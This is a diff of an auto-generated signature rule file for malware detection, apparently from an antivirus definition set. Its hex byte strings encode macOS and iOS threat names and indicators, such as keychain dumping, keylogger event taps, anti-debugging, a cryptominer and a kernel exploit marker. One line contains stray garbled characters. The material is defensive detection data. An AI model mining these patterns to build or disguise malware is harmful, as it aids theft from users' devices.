00 21 " @@ -277287,7 +293680,7 @@ rule _InfrastructureShared_21000{ ((#a_4c_0 & 1)*21539+(#a_76_1 & 1)*2104+(#a_75_2 & 1)*27993) >=2 } -rule _InfrastructureShared_21001{ +rule _InfrastructureShared_22279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 05 00 21 " @@ -277301,7 +293694,7 @@ rule _InfrastructureShared_21001{ ((#a_4c_0 & 1)*21539+(#a_4c_1 & 1)*20056+(#a_2e_2 & 1)*20312+(#a_55_3 & 1)*16896+(#a_90_4 & 1)*16386) >=1 } -rule _InfrastructureShared_21002{ +rule _InfrastructureShared_22280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 02 00 21 " @@ -277312,7 +293705,7 @@ rule _InfrastructureShared_21002{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1419) >=1 } -rule _InfrastructureShared_21003{ +rule _InfrastructureShared_22281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -277325,7 +293718,7 @@ rule _InfrastructureShared_21003{ ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*29554+(#a_4f_2 & 1)*19788+(#a_55_3 & 1)*21330) >=2 } -rule _InfrastructureShared_21004{ +rule _InfrastructureShared_22282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -277337,7 +293730,7 @@ rule _InfrastructureShared_21004{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28516+(#a_40_3 & 1)*65) >=3 } -rule _InfrastructureShared_21005{ +rule _InfrastructureShared_22283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -277348,7 +293741,7 @@ rule _InfrastructureShared_21005{ ((#a_63_0 & 1)*19747+(#a_27_1 & 1)*25956) >=2 } -rule _InfrastructureShared_21006{ +rule _InfrastructureShared_22284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -277360,7 +293753,7 @@ rule _InfrastructureShared_21006{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-18201+(#a_df_2 & 1)*-31347) >=3 } -rule _InfrastructureShared_21007{ +rule _InfrastructureShared_22285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -277371,7 +293764,7 @@ rule _InfrastructureShared_21007{ ((#a_46_0 & 1)*16675+(#a_07_2 & 1)*0) >=3 } -rule _InfrastructureShared_21008{ +rule _InfrastructureShared_22286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0d 00 0d 00 08 00 21 " @@ -277387,7 +293780,7 @@ rule _InfrastructureShared_21008{ ((#a_46_0 & 1)*16675+(#a_85_1 & 1)*-1+(#a_4c_2 & 1)*277+(#a_00_3 & 1)*1+(#a_6f_4 & 1)*12115+(#a_74_5 & 1)*29472+(#a_5d_7 & 1)*23297) >=13 } -rule _InfrastructureShared_21009{ +rule _InfrastructureShared_22287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0e 00 0e 00 0b 00 21 " @@ -277406,7 +293799,7 @@ rule _InfrastructureShared_21009{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=14 } -rule _InfrastructureShared_21010{ +rule _InfrastructureShared_22288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -277423,7 +293816,7 @@ rule _InfrastructureShared_21010{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*-25547+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=13 } -rule _InfrastructureShared_21011{ +rule _InfrastructureShared_22289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -277438,7 +293831,7 @@ rule _InfrastructureShared_21011{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-24600+(#a_45_4 & 1)*0+(#a_65_5 & 1)*25697+(#a_00_6 & 1)*23909+(#a_65_7 & 1)*29697) >=13 } -rule _InfrastructureShared_21012{ +rule _InfrastructureShared_22290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0e 00 0e 00 0d 00 21 " @@ -277459,7 +293852,7 @@ rule _InfrastructureShared_21012{ ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*32139+(#a_63_2 & 1)*28787+(#a_6f_3 & 1)*8289+(#a_00_5 & 1)*0+(#a_a9_6 & 1)*42+(#a_64_7 & 1)*10752+(#a_73_8 & 1)*12142+(#a_64_9 & 1)*28265+(#a_61_10 & 1)*11892+(#a_20_11 & 1)*8238+(#a_6f_12 & 1)*0) >=14 } -rule _InfrastructureShared_21013{ +rule _InfrastructureShared_22291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277469,7 +293862,7 @@ rule _InfrastructureShared_21013{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21014{ +rule _InfrastructureShared_22292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277479,7 +293872,7 @@ rule _InfrastructureShared_21014{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_21015{ +rule _InfrastructureShared_22293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 01 00 21 " @@ -277489,7 +293882,7 @@ rule _InfrastructureShared_21015{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_21016{ +rule _InfrastructureShared_22294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277499,7 +293892,7 @@ rule _InfrastructureShared_21016{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21017{ +rule _InfrastructureShared_22295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277509,7 +293902,7 @@ rule _InfrastructureShared_21017{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21018{ +rule _InfrastructureShared_22296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277519,7 +293912,7 @@ rule _InfrastructureShared_21018{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21019{ +rule _InfrastructureShared_22297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277529,7 +293922,7 @@ rule _InfrastructureShared_21019{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21020{ +rule _InfrastructureShared_22298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277539,7 +293932,7 @@ rule _InfrastructureShared_21020{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_21021{ +rule _InfrastructureShared_22299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 01 00 21 " @@ -277549,7 +293942,7 @@ rule _InfrastructureShared_21021{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_21022{ +rule _InfrastructureShared_22300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 01 00 21 " @@ -277559,7 +293952,7 @@ rule _InfrastructureShared_21022{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_21023{ +rule _InfrastructureShared_22301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277569,7 +293962,7 @@ rule _InfrastructureShared_21023{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21024{ +rule _InfrastructureShared_22302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277579,7 +293972,7 @@ rule _InfrastructureShared_21024{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21025{ +rule _InfrastructureShared_22303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277589,28 +293982,39 @@ rule _InfrastructureShared_21025{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21026{ +rule _InfrastructureShared_22304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_63_0 = {53 3a 48 53 54 52 3a 55 50 58 5f 50 61 63 6b 65 64 00 01 00 15 01 55 50 58 20 65 78 65 63 75 74 61 62 6c 65 20 70 61 63 6b 65 72 01 00 05 01 55 50 58 21 10 00 00 8d 43 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 43 72 61 73 68 44 75 6d 70 4d 6f } //19747 - $a_21_1 = {68 61 00 01 00 0e 00 31 30 39 5f 43 6f 75 6e 74 4c 69 6d 69 74 00 00 8d 4a 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 50 74 72 61 63 65 41 6e 74 69 44 65 62 } //11876 + $a_21_1 = {68 61 00 01 00 0e 00 31 30 39 5f 43 6f 75 6e 74 4c 69 6d 69 74 00 00 8d 44 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4d 61 63 4f 53 2f 4c 6f 63 6b 53 6d 69 74 68 2e 41 00 01 00 13 00 47 65 74 41 } //11876 condition: ((#a_63_0 & 1)*19747+(#a_21_1 & 1)*11876) >=1 } -rule _InfrastructureShared_21027{ +rule _InfrastructureShared_22305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 43 72 61 73 68 44 75 6d 70 4d 6f 64 2e 41 21 64 68 61 00 01 00 0e 00 31 30 39 5f 43 6f 75 6e 74 4c 69 6d 69 74 00 00 8d 4a 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 43 72 61 73 68 44 75 6d 70 4d 6f 64 2e 41 21 64 68 61 00 01 00 0e 00 31 30 39 5f 43 6f 75 6e 74 4c 69 6d 69 74 00 00 8d 44 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4d 61 63 4f 53 } //16675 condition: ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21028{ +rule _InfrastructureShared_22306{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {4d 61 63 4f 53 2f 4c 6f 63 6b 53 6d 69 74 68 2e 41 00 01 00 13 00 47 65 74 41 6c 6c 4b 65 79 63 68 61 69 6e 49 74 65 6d 73 01 00 09 00 4c 6f 63 6b 53 6d 69 74 68 00 00 8d 4a 00 00 01 00 01 00 01 00 21 23 41 } //21539 + $a_54_1 = {6f 6a 61 6e 3a 4d 61 63 4f 53 2f 50 74 72 61 63 65 41 6e 74 69 44 65 62 75 67 67 2e 41 00 01 00 18 00 40 03 80 d2 e1 03 80 d2 02 00 80 d2 03 00 80 d2 10 00 80 d2 01 10 00 d4 } //17996 + condition: + ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*17996) >=2 + +} +rule _InfrastructureShared_22307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277620,7 +294024,7 @@ rule _InfrastructureShared_21028{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21029{ +rule _InfrastructureShared_22308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 02 00 21 " @@ -277631,7 +294035,7 @@ rule _InfrastructureShared_21029{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*14924) >=1 } -rule _InfrastructureShared_21030{ +rule _InfrastructureShared_22309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277641,7 +294045,7 @@ rule _InfrastructureShared_21030{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_21031{ +rule _InfrastructureShared_22310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -277652,7 +294056,7 @@ rule _InfrastructureShared_21031{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*8993) >=2 } -rule _InfrastructureShared_21032{ +rule _InfrastructureShared_22311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277662,7 +294066,7 @@ rule _InfrastructureShared_21032{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21033{ +rule _InfrastructureShared_22312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277672,7 +294076,7 @@ rule _InfrastructureShared_21033{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21034{ +rule _InfrastructureShared_22313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -277682,7 +294086,7 @@ rule _InfrastructureShared_21034{ ((#a_4c_0 & 1)*21539) >=11 } -rule _InfrastructureShared_21035{ +rule _InfrastructureShared_22314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -277693,7 +294097,7 @@ rule _InfrastructureShared_21035{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1) >=2 } -rule _InfrastructureShared_21036{ +rule _InfrastructureShared_22315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277703,7 +294107,7 @@ rule _InfrastructureShared_21036{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_21037{ +rule _InfrastructureShared_22316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -277716,7 +294120,7 @@ rule _InfrastructureShared_21037{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448+(#a_6c_2 & 1)*24320+(#a_41_3 & 1)*5888) >=2 } -rule _InfrastructureShared_21038{ +rule _InfrastructureShared_22317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -277729,7 +294133,7 @@ rule _InfrastructureShared_21038{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*8448+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 } -rule _InfrastructureShared_21039{ +rule _InfrastructureShared_22318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -277741,7 +294145,7 @@ rule _InfrastructureShared_21039{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*2+(#a_64_2 & 1)*16686) >=3 } -rule _InfrastructureShared_21040{ +rule _InfrastructureShared_22319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -277753,7 +294157,7 @@ rule _InfrastructureShared_21040{ ((#a_41_0 & 1)*20515+(#a_50_2 & 1)*19521+(#a_04_3 & 1)*16843) >=4 } -rule _InfrastructureShared_21041{ +rule _InfrastructureShared_22320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,64 00 64 00 01 00 21 " @@ -277763,7 +294167,7 @@ rule _InfrastructureShared_21041{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_21042{ +rule _InfrastructureShared_22321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277773,30 +294177,18 @@ rule _InfrastructureShared_21042{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_21043{ +rule _InfrastructureShared_22322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 4d 61 63 4f 53 2f 53 75 73 70 41 75 74 6f 6d 61 74 65 64 43 6f 6c 6c 65 63 74 69 6f 6e 2e 41 00 01 00 0a 00 53 54 52 41 54 4f 46 45 41 52 01 00 1f 00 2f 4c 69 62 72 61 72 79 2f 46 6f 6e 74 73 2f 41 70 70 6c 65 53 44 47 6f 74 68 69 63 4e 65 6f 00 } //18467 - $a_00_1 = {00 03 00 03 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 56 6f 72 74 65 78 2e 4b 21 4d 54 42 00 01 00 0e 01 72 65 69 6e 73 74 61 6c 6c 43 79 64 69 61 01 00 0d 01 66 69 6e 64 70 68 79 73 5f 72 65 61 6c 01 00 10 01 6c 65 61 6b 5f 6b 65 72 6e 65 6c 5f 62 61 73 65 00 } //-29440 + $a_00_1 = {00 01 00 01 00 01 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 43 56 45 2d 32 30 31 36 2d 34 36 35 35 2e 54 72 69 64 65 6e 74 00 01 00 29 01 72 65 61 64 5f 70 72 69 6d 69 74 69 76 65 28 6b 65 72 6e 65 6c 5f 62 61 73 65 29 20 3d 3d 20 30 78 66 65 65 64 66 61 63 65 00 } //-29440 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-29440) >=2 } -rule _InfrastructureShared_21044{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_4c_0 = {45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 56 6f 72 74 65 78 2e 4b 21 4d 54 42 00 01 00 0e 01 72 65 69 6e 73 74 61 6c 6c 43 79 64 69 61 01 00 0d 01 66 69 6e 64 70 68 79 73 5f 72 65 61 6c 01 00 10 01 6c 65 61 } //21539 - $a_65_1 = {6e 65 6c 5f 62 61 73 65 00 00 8d 62 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 43 56 45 2d 32 30 31 36 2d 34 36 35 35 2e 54 72 69 64 65 6e 74 00 01 00 29 01 72 65 61 64 5f 70 72 69 6d 69 74 69 76 65 28 6b 65 72 6e 65 6c 5f 62 61 73 65 29 20 3d 3d 20 30 78 66 65 65 64 66 } //24427 - $a_00_2 = {00 8d 64 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 54 68 6f 72 52 69 6e 67 2e 41 21 64 68 61 00 01 00 26 01 2f 70 72 69 76 61 74 65 2f 76 61 72 2f 74 6d 70 2f 2e 63 6f 6d 2e 61 70 70 6c 65 2e 6c 61 75 6e 63 68 64 2e 25 78 01 00 09 01 5f 5f 70 61 79 6c 6f } //25441 - condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*24427+(#a_00_2 & 1)*25441) >=3 - -} -rule _InfrastructureShared_21045{ +rule _InfrastructureShared_22323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277806,18 +294198,30 @@ rule _InfrastructureShared_21045{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_21046{ +rule _InfrastructureShared_22324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 54 68 6f 72 52 69 6e 67 2e 41 21 64 68 61 00 01 00 26 01 2f 70 72 69 76 61 74 65 2f 76 61 72 2f 74 6d 70 2f 2e 63 6f 6d 2e 61 70 70 6c 65 2e 6c 61 75 6e 63 68 64 2e 25 78 01 00 09 } //16675 牔橯湡椺桐湯佥⽓桔牯楒杮䄮搡慨Ā☀⼁牰癩瑡⽥慶⽲浴⽰挮浯愮灰敬氮畡据摨┮Ÿऀ - $a_70_1 = {79 6c 6f 61 64 00 00 8d 66 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 50 55 41 3a 4d 61 63 4f 53 2f 4d 69 6e 65 72 2e 42 00 01 00 21 01 55 48 8d 0d af 8a 12 00 ba d3 03 00 00 48 8d 35 b6 8a 12 00 48 89 e5 48 8d 3d af db 16 00 e8 22 36 01 00 1d 01 48 89 da 4c 89 e6 4c 89 ef e8 f6 0e 44 } //24321 + $a_70_1 = {79 6c 6f 61 64 00 00 8d 65 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 55 6e 73 69 67 6e 65 64 4b 65 79 6c 6f 67 49 6d 70 6f 72 74 2e 41 31 00 01 00 10 00 43 47 45 76 65 6e 74 54 61 70 43 72 65 61 74 65 01 00 10 00 43 47 45 76 65 6e 74 54 61 70 45 6e 61 62 6c 65 01 } //24321 condition: ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*24321) >=2 } -rule _InfrastructureShared_21047{ +rule _InfrastructureShared_22325{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 4d 61 63 4f 53 2f 55 6e 73 69 67 6e 65 64 4b 65 79 6c 6f 67 49 6d 70 6f 72 74 2e 41 31 00 01 00 10 00 43 47 45 76 65 6e 74 54 61 70 43 72 65 61 74 65 01 00 10 00 43 47 45 76 65 6e 74 54 61 70 45 6e 61 62 6c 65 01 00 0c 00 43 46 52 75 6e 4c 6f 6f } //18467 + $a_6e_1 = {00 8d 66 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 50 55 41 3a 4d 61 63 4f 53 2f 4d 69 6e 65 72 2e 42 00 01 00 21 01 55 48 8d 0d af 8a 12 00 ba d3 03 00 00 48 8d 35 b6 8a 12 00 48 89 e5 48 8d 3d af db 16 00 e8 22 36 01 00 1d 01 48 89 da 4c 89 e6 4c 89 ef e8 f6 0e 44 00 85 c0 0f 84 6e 01 00 00 49 81 c4 7e 01 00 00 00 00 8d 66 00 00 04 00 04 00 04 00 } //21104 + $a_55_2 = {3a 42 6c 6f 63 6b 3a 4d 61 63 54 77 65 61 6b 65 72 2e 42 00 01 00 06 01 62 30 6f 75 71 3a 01 00 14 01 61 70 70 6c 69 63 61 74 69 6f 6e 57 69 6c 6c 48 69 64 65 3a 01 00 09 01 48 4e 41 4d 45 5f 31 31 39 01 00 12 01 4e 53 55 6e 64 6f 4d 61 6e } //8993 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*21104+(#a_55_2 & 1)*8993) >=3 + +} +rule _InfrastructureShared_22326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -277828,7 +294232,7 @@ rule _InfrastructureShared_21047{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*3830) >=2 } -rule _InfrastructureShared_21048{ +rule _InfrastructureShared_22327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -277841,7 +294245,7 @@ rule _InfrastructureShared_21048{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*30831+(#a_52_2 & 1)*20550+(#a_69_3 & 1)*24879) >=4 } -rule _InfrastructureShared_21049{ +rule _InfrastructureShared_22328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 03 00 21 " @@ -277852,7 +294256,7 @@ rule _InfrastructureShared_21049{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*26739) >=5 } -rule _InfrastructureShared_21050{ +rule _InfrastructureShared_22329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 03 00 21 " @@ -277863,7 +294267,7 @@ rule _InfrastructureShared_21050{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*30255) >=5 } -rule _InfrastructureShared_21051{ +rule _InfrastructureShared_22330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -277871,24 +294275,46 @@ rule _InfrastructureShared_21051{ $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6d 63 6c 65 61 6e 65 72 2e 44 00 02 00 10 00 63 6f 6d 2e 6d 61 63 6d 61 67 69 63 69 61 6e 2e 01 00 07 00 47 50 55 70 6d 71 63 01 00 07 00 67 74 65 6d 6d 73 63 01 00 11 00 69 6b 67 78 } //16675 $a_76_1 = {6f 76 62 61 6d 6b 65 74 00 00 8d 68 00 00 05 00 05 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 } //29537 $a_61_2 = {4f 53 2f 44 69 72 65 63 74 48 57 2e 41 00 02 00 18 00 44 69 72 65 63 74 48 57 2e 6b 65 78 74 20 6e 6f 74 20 6c 6f 61 64 65 64 02 00 0f 00 44 69 72 65 63 74 48 57 53 65 72 76 69 63 65 01 00 0b 80 01 6b 50 72 65 70 61 72 65 4d 61 70 } //14930 - $a_00_3 = {8d 69 00 } //0 + $a_00_3 = {8d 68 00 } //0 condition: ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*29537+(#a_61_2 & 1)*14930+(#a_00_3 & 1)*0) >=5 } -rule _InfrastructureShared_21052{ +rule _InfrastructureShared_22331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 03 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 44 69 72 65 63 74 48 57 2e 41 00 02 00 18 00 44 69 72 65 63 74 48 57 2e 6b 65 78 74 20 6e 6f 74 20 6c 6f 61 64 65 64 02 00 0f 00 44 69 72 65 63 74 48 57 53 65 72 76 69 63 65 01 00 0b 80 } //16675 - $a_72_1 = {70 61 72 65 4d 61 70 00 00 03 00 8d 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 46 6b 43 6f 64 65 63 2e 41 00 02 00 19 00 63 6f 6d 2e 6d 61 63 74 65 2e 53 61 6d 70 6c 65 49 6e 73 74 61 6c 6c 65 72 } //27393 - $a_00_2 = {2f 75 6e 69 6e 73 74 61 6c 6c 65 72 2e 70 6c 69 73 74 } //1 /uninstaller.plist + $a_72_1 = {70 61 72 65 4d 61 70 00 00 03 00 8d 68 00 00 14 00 14 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 53 75 73 70 4d 61 63 46 69 6c 65 45 6d 62 65 64 64 65 64 2e 41 00 0a 00 22 00 5f 4e 53 43 72 65 61 74 65 4f 62 6a 65 63 } //27393 + $a_6c_2 = {49 6d 61 67 65 46 72 6f 6d 4d 65 6d 6f 72 79 0a 00 0d 00 5f 4e 53 4c 69 6e 6b 4d 6f 64 75 6c 65 00 00 8d 69 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 47 21 4d 54 42 00 01 00 23 01 55 48 89 e5 53 50 48 89 fb e8 c8 17 00 00 48 8b 05 e3 85 00 00 48 83 c0 10 48 } //18036 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*27393+(#a_00_2 & 1)*1) >=5 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*27393+(#a_6c_2 & 1)*18036) >=5 } -rule _InfrastructureShared_21053{ +rule _InfrastructureShared_22332{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,14 00 14 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 53 75 73 70 4d 61 63 46 69 6c 65 45 6d 62 65 64 64 65 64 2e 41 00 0a 00 22 00 5f 4e 53 43 72 65 61 74 65 4f 62 6a 65 63 74 46 69 6c 65 49 6d 61 67 65 46 72 6f 6d 4d 65 } //21539 + $a_79_1 = {00 0d 00 5f 4e 53 4c 69 6e 6b 4d 6f 64 75 6c 65 00 00 8d 69 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 